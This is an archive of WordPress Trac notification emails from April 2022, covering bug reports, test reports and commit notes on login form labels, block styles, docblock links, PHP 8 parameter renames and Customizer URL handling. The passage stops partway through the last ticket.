<https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 05:34:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 05:34:47 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.13b6e861fb7856e87e05fb3b105140a6@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by sabernhardt): As it is now, yes, the filter works on the `wp_login_form()` parameters but not the standard login. However, I think the `login_form_defaults` hook could be reused within `/wp-login.php` instead of creating something new. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 06:05:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 06:05:00 -0000 Subject: [wp-trac] [WordPress Trac] #55585: WordPress 5.9 wp-container styles introduce Cumulative Layout Shift Message-ID: <052.583bfbdd55bf170240e6c4e46bfe7654@wordpress.org> #55585: WordPress 5.9 wp-container styles introduce Cumulative Layout Shift --------------------------+----------------------------- Reporter: rinart73 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Themes | Version: 5.9 Severity: normal | Keywords: Focuses: css | --------------------------+----------------------------- I'm using the latest stable WordPress version and Generatepress theme which doesn't support the newest fullsite block editing and templates (like the majority of themes right now). I understand that the new `wp-container-NUMBER` styles were added to allow better customization. But in the current implementation they’re cumbersome, repetative and introduce Cumulative Layout Shift. First of all, repetative styles are not being bundled together. Styles are being defined even if they'll never be used (I don't have tags that use `alignleft` or `alignright` in those blocks). And it makes no point in defining tags if they have default values. Default Gutenberg container block (at least for me) doesn't even have an option to change margins for child elements. {{{ <style>.wp-container-2 .alignleft { float: left; margin-right: 2em; }.wp- container-2 .alignright { float: right; margin-left: 2em; }</style> <style>.wp-container-3 .alignleft { float: left; margin-right: 2em; }.wp- container-3 .alignright { float: right; margin-left: 2em; }</style> }}} So a better output would be: {{{ <style>.wp-container-2 .alignleft, .wp-container-3 .alignleft { float: left; margin-right: 2em; }.wp-container-2 .alignright, .wp-container-3 .alignright { float: right; margin-left: 2em; }</style> }}} Or even no output at all, since those are default values. Now to the topic of Cumilative Layout Shift. Currently `wp-container` inline styles are being output in the `wp_footer` action unless user theme supports newest templates feature. This results in the following behaviour during the loading (Default Social Block as an example): [[Image(https://i.ibb.co/kmCtVVC/2-Annotation-2022-04-18-070146.png)]] And after page is fully loaded it looks like it's intented to be: [[Image(https://i.ibb.co/v3smntX/1-Annotation-2022-04-18-070139.png)]] Those styles either should be output in the `wp_head` action or right before block tags. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55585> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 06:25:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 06:25:17 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.d168c23bd166af881eb7c6e9858d8686@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Changes (by sabernhardt): * Attachment "55459.diff" added. option for supporting `login_form_defaults` filter in wp-login.php -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 06:28:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 06:28:58 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.5adac028c72ddb5b37a24e0415c72150@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by sabernhardt): Using the code in [attachment:"55459.diff"], I was able to change the labels with this filter: {{{ add_filter( 'login_form_defaults', 'login_form_default_args_array', 10, 1 ); function login_form_default_args_array( $args ) { $args = array( 'label_username' => __( 'Username/Email' ), 'label_password' => __( 'Strong Password' ), 'label_remember' => __( 'Remain logged in' ), 'label_log_in' => __( 'Sign in' ), ); return $args; } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 06:59:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 06:59:29 -0000 Subject: [wp-trac] [WordPress Trac] #41431: Need autocomplete attributes in wp_login_form() for security purpose In-Reply-To: <053.6c120488a0b6b0797bc6efdc60ac235b@wordpress.org> References: <053.6c120488a0b6b0797bc6efdc60ac235b@wordpress.org> Message-ID: <068.0a033074a419c851a0eccdcc27328f2b@wordpress.org> #41431: Need autocomplete attributes in wp_login_form() for security purpose ------------------------------------+------------------------------ Reporter: tejas5989 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: | Focuses: ------------------------------------+------------------------------ Changes (by sabernhardt): * component: General => Login and Registration Comment: With r53041 on #41136, the password fields in login forms will have `autocomplete="current-password"` -- Ticket URL: <https://core.trac.wordpress.org/ticket/41431#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 07:13:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 07:13:38 -0000 Subject: [wp-trac] [WordPress Trac] #55569: Fix Blog Post Text Color In-Reply-To: <056.77653cb82117c95411917f45503cccb9@wordpress.org> References: <056.77653cb82117c95411917f45503cccb9@wordpress.org> Message-ID: <071.6bfab8bb841f3073c12c2c0c5fd5e749@wordpress.org> #55569: Fix Blog Post Text Color ------------------------------------------+-------------------------------- Reporter: ugyensupport | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Themes | Version: 5.9 Severity: normal | Resolution: reported-upstream Keywords: has-screenshots needs-design | Focuses: ui, css, | performance ------------------------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: 6.0 => Comment: Thanks for opening the issue! Any changes will need to be made to the plugin first, so I'll close the ticket here. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55569#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 07:43:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 07:43:02 -0000 Subject: [wp-trac] [WordPress Trac] #54837: Mobile admin menu: Clicking on menu items hides the menu In-Reply-To: <054.ce183747a4e3ab9940e24b6099f31320@wordpress.org> References: <054.ce183747a4e3ab9940e24b6099f31320@wordpress.org> Message-ID: <069.c66518bf19ad88f4a2db45442a87e299@wordpress.org> #54837: Mobile admin menu: Clicking on menu items hides the menu ----------------------------+--------------------- Reporter: dhusakovic | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: 5.9 Component: Administration | Version: 5.9 Severity: normal | Resolution: fixed Keywords: | Focuses: ui ----------------------------+--------------------- Changes (by sabernhardt): * status: assigned => closed * resolution: => fixed * milestone: 6.0 => 5.9 Comment: Closing this ticket to keep discussion about any future changes on #53587 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54837#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 07:54:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 07:54:10 -0000 Subject: [wp-trac] [WordPress Trac] #55572: Basic tool Image edit -> cut doesen't work correctly In-Reply-To: <054.f630c744a13a5f0af069e6ac704822af@wordpress.org> References: <054.f630c744a13a5f0af069e6ac704822af@wordpress.org> Message-ID: <069.1f9f1884098d80425b691bfa3691caa7@wordpress.org> #55572: Basic tool Image edit -> cut doesen't work correctly --------------------------+------------------------------ Reporter: whatspress | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: maybelater Keywords: | Focuses: --------------------------+------------------------------ Changes (by whatspress): * status: new => closed * resolution: => maybelater -- Ticket URL: <https://core.trac.wordpress.org/ticket/55572#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 07:55:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 07:55:44 -0000 Subject: [wp-trac] [WordPress Trac] #55572: Basic tool Image edit -> cut doesen't work correctly In-Reply-To: <054.f630c744a13a5f0af069e6ac704822af@wordpress.org> References: <054.f630c744a13a5f0af069e6ac704822af@wordpress.org> Message-ID: <069.9772cd861fdf0f91747a041b7b9b098a@wordpress.org> #55572: Basic tool Image edit -> cut doesen't work correctly --------------------------+------------------------------ Reporter: whatspress | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: maybelater Keywords: | Focuses: --------------------------+------------------------------ Comment (by whatspress): Resolved by Plugin Pixo -- Ticket URL: <https://core.trac.wordpress.org/ticket/55572#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 10:16:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 10:16:35 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.d0bc8c4143272a328626baacd6adcfbf@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53202" 53202]: {{{ #!CommitTicketReference repository="" revision="53202" Docs: Update MDN link in `send_frame_options_header()` docblock. The X-Frame-Options MDN documentation has been moved to `/docs/Web/HTTP/Headers/X-Frame-Options`. This changeset updates the link accordingly. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:73> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 10:31:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 10:31:55 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.19da97fdb20ae25df9975d28c2303965@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53203" 53203]: {{{ #!CommitTicketReference repository="" revision="53203" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/ms.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$echo` parameter to `$display_message` in `upload_is_user_over_quota()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 13:24:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 13:24:17 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.c6aff9788b5ad54cfb36c7d0e3f2430a@wordpress.org> #55580: Featured image in Cover block missing from published page -----------------------------------------+--------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: high | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: needs-patch has-screenshots | Focuses: -----------------------------------------+--------------------- Changes (by costdev): * priority: normal => high * milestone: Awaiting Review => 6.0 Comment: == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-beta1-53167-src * Browser: Chrome 100.0.4896.88 * OS: Windows 10 * Theme: Twenty Twenty-One * Plugins: None activated === Steps 1. Create a new post. 2. In the **Settings** sidebar (opened via the "cog" icon), select the "Post" tab. 3. Expand the "Featured image" section, and click "Set featured image". 4. Select or upload an image, and click the **Set featured image** button when done. 5. At the block inserter, add a new Cover block (e.g. by typing the `/cover` shortcut). 6. In the block toolbar, select the "Use featured image" icon (adjacent to "Add Media"). 7. Observe that the featured image selected in Step 4 is displayed in the block. ✅ 8. Publish the post. 9. Open the post on the frontend of the site, **and scroll past the template's default featured image, if present** (see note below). 10. Observe that the Cover block background is gray, and does not display the featured image. ❌ === Results 1. Issue reproduced. === Notes - Milestoning for `6.0`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 14:33:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 14:33:32 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.782d07a2865e787830ec57ad14887f01@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53204" 53204]: {{{ #!CommitTicketReference repository="" revision="53204" Docs: Update a link to the Custom Elements spec in `force_balance_tags()` docblock. This changeset replaces a link to the outdated W3C specs on Custom Elements with a link to the corresponding WhatWG specification. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:74> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 14:41:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 14:41:31 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.25ea9e6229721f84addd5bd9bbb49c71@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53205" 53205]: {{{ #!CommitTicketReference repository="" revision="53205" Docs: Update a link to the Custom Elements spec in `unsupported_valid_tag_names()` unit test docblock. This changeset replaces a link to the outdated W3C specs on Custom Elements with a link to the corresponding WhatWG specification. Follow-up to [53204]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:75> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 14:58:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 14:58:49 -0000 Subject: [wp-trac] [WordPress Trac] #54801: Avoid WPDB errors when examining installation state of a site/network In-Reply-To: <054.1db0c7c011f1af84372014fa572a3cf1@wordpress.org> References: <054.1db0c7c011f1af84372014fa572a3cf1@wordpress.org> Message-ID: <069.4ef82fe00e41adda7c0343b43a8bdddb@wordpress.org> #54801: Avoid WPDB errors when examining installation state of a site/network --------------------------+--------------------- Reporter: schlessera | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Database | Version: 3.0 Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: As this touches WPDB and installation, and we past 6.0 Beta 1 with no progress on this ticket, I'm moving this to 6.1 so that the PR can be tested and any potential further investigation can be done. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54801#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 15:06:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 15:06:39 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.d4903ce2b99553dcbf39ef557c111b2d@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53206" 53206]: {{{ #!CommitTicketReference repository="" revision="53206" Docs: Replace Codex links with the corresponding page on DevHub. The Codex page for `WP_Object_Cache` already redirects to the corresponding DevHub page. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:76> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 15:17:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 15:17:19 -0000 Subject: [wp-trac] [WordPress Trac] #54840: wp_insert_term sanitizes attribute names, while term_exists does not before checking names In-Reply-To: <055.85ff9949dc596973f337db22b4f63d7a@wordpress.org> References: <055.85ff9949dc596973f337db22b4f63d7a@wordpress.org> Message-ID: <070.1e21cf3d0766734f120e9fd7f44cb6a9@wordpress.org> #54840: wp_insert_term sanitizes attribute names, while term_exists does not before checking names -------------------------------------------------+------------------------- Reporter: Dekadinious | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.8.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs- | Focuses: testing has-testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * status: new => closed * resolution: => fixed Comment: This particular issue appears to have been resolved by [52921]. In my testing, the term ID is returned now. Closing this ticket as `fixed`. With regards to [https://core.trac.wordpress.org/ticket/54840#comment:5 this comment], if an issue exists in `get_terms()`, this should be handled in a separate ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54840#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 15:20:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 15:20:31 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.a99e00cc44d819dc23f9e66b3fd37dea@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53207" 53207]: {{{ #!CommitTicketReference repository="" revision="53207" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/nav-menu.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$echo` parameter to `$display` in `wp_nav_menu_disabled_check()`. * Renames the `$object` parameter to `$item_object` in: * `wp_nav_menu_item_post_type_meta_box()` * `wp_nav_menu_item_taxonomy_meta_box()` * `_wp_nav_menu_meta_box_object()` Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 15:30:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 15:30:24 -0000 Subject: [wp-trac] [WordPress Trac] #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme In-Reply-To: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> References: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> Message-ID: <070.352da1b0a7ee85b87975553eb6608670@wordpress.org> #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme -------------------------------------------------+--------------------- Reporter: fabiankaegy | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-docs | Focuses: -------------------------------------------------+--------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55513#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 16:12:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 16:12:37 -0000 Subject: [wp-trac] [WordPress Trac] #55586: `get_block_wrapper_attributes` generates PHP notices. Message-ID: <056.0646897008a487336c6eaf1095b8fe69@wordpress.org> #55586: `get_block_wrapper_attributes` generates PHP notices. --------------------------+----------------------------- Reporter: jmichaelward | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- To replicate this issue: 1. Set both `WP_DEBUG` and `WP_DEBUG_LOG` in wp-config.php to `true` so that errors will be logged to `wp-content/debug.log`. 2. Using WP-CLI, run `wp shell`. 3. Call `get_block_wrapper_attributes();` in the terminal. 4. Note the errors and call stack output in `wp-content/debug.log`. It will look something like this: [18-Apr-2022 16:05:27 UTC] PHP Notice: Trying to access array offset on value of type null in wp-includes/class-wp-block-supports.php on line 94 [18-Apr-2022 16:05:27 UTC] PHP Notice: Trying to access array offset on value of type null in wp-includes/class-wp-block-supports.php on line 96 `get_block_wrapper_attributes()` makes a singleton call to retrieve the `WP_Block_Supports` object, which in turn calls `apply_block_supports` on that object. The `apply_block_supports` method presumes that there is an editor block already assigned to the object, and attempts to retrieve the block type by using the `blockName` set on in the array of the `$block_to_render` property. Since the default value on the `WP_Block_Supports` object is `null`, this generates the error. It seems that the easiest solution here is to return an empty array from `apply_block_supports` if `$block_to_render` is not set. Since `get_block_wrapper_attributes` is a public function that does not accept a block, it can be called outside of a sequence where `WP_Block_Supports` might already have set properties on the object. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55586> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 16:31:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 16:31:28 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.43a6dc716fffe61f9cc41546cbf0af36@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------------------+------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: fixed Keywords: has-patch commit needs-dev-note | Focuses: needs-docs | administration -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch commit => has-patch commit needs-dev-note needs-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 16:42:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 16:42:24 -0000 Subject: [wp-trac] [WordPress Trac] #55347: There should be filter for image tag in wp_filter_content_tags() In-Reply-To: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> References: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> Message-ID: <066.472c81794663a778a4859fbdc7c6a07f@wordpress.org> #55347: There should be filter for image tag in wp_filter_content_tags() -------------------------------------------------+------------------------- Reporter: pbearne | Owner: flixos90 Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: needs-dev-note needs-docs | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests commit => has-patch has-unit-tests commit needs-dev-note needs-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55347#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 17:10:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 17:10:32 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.aea071b462d5b1feac625c7ed49d5590@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by jorgefilipecosta): In [changeset:"53208" 53208]: {{{ #!CommitTicketReference repository="" revision="53208" Block editor: Prevent styles from being added in the site editor. The site editor, unlike other editors, generates the styles coming from global styles (presets, styles) dynamically in the client. This is because the user can modify any value that we need to consolidate (merge core, theme, and user style preferences). We don't want to have the global styles twice, as it introduces subtle bugs. Props oandregal, youknowriad. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 17:38:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 17:38:19 -0000 Subject: [wp-trac] [WordPress Trac] #55545: Twenty Fourteen: featured posts slider not working with an odd number of slides on mobile In-Reply-To: <056.2c51a5b4065fbb82d3919c30f177f0b6@wordpress.org> References: <056.2c51a5b4065fbb82d3919c30f177f0b6@wordpress.org> Message-ID: <071.b186859d025a9c1c342aafa1f539858d@wordpress.org> #55545: Twenty Fourteen: featured posts slider not working with an odd number of slides on mobile ---------------------------+------------------------------ Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Changes (by sabernhardt): * component: General => Bundled Theme -- Ticket URL: <https://core.trac.wordpress.org/ticket/55545#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 18 17:41:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 18 Apr 2022 17:41:22 -0000 Subject: [wp-trac] [WordPress Trac] #55587: Customize preview removes URL query parameters of the same name and keeps only the last one Message-ID: <051.5a7e634b08084bb20c6e0df84519d600@wordpress.org> #55587: Customize preview removes URL query parameters of the same name and keeps only the last one --------------------------+----------------------------- Reporter: xParham | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Customize | Version: Severity: major | Keywords: Focuses: | --------------------------+----------------------------- It seems that when the customizer is rebuilding some of the URLs on the page if there are multiple query parameters of the same name/key (an array) in the URL, it only keeps the last one and removes the others. For example, while in Customizer, if you add a menu item with a 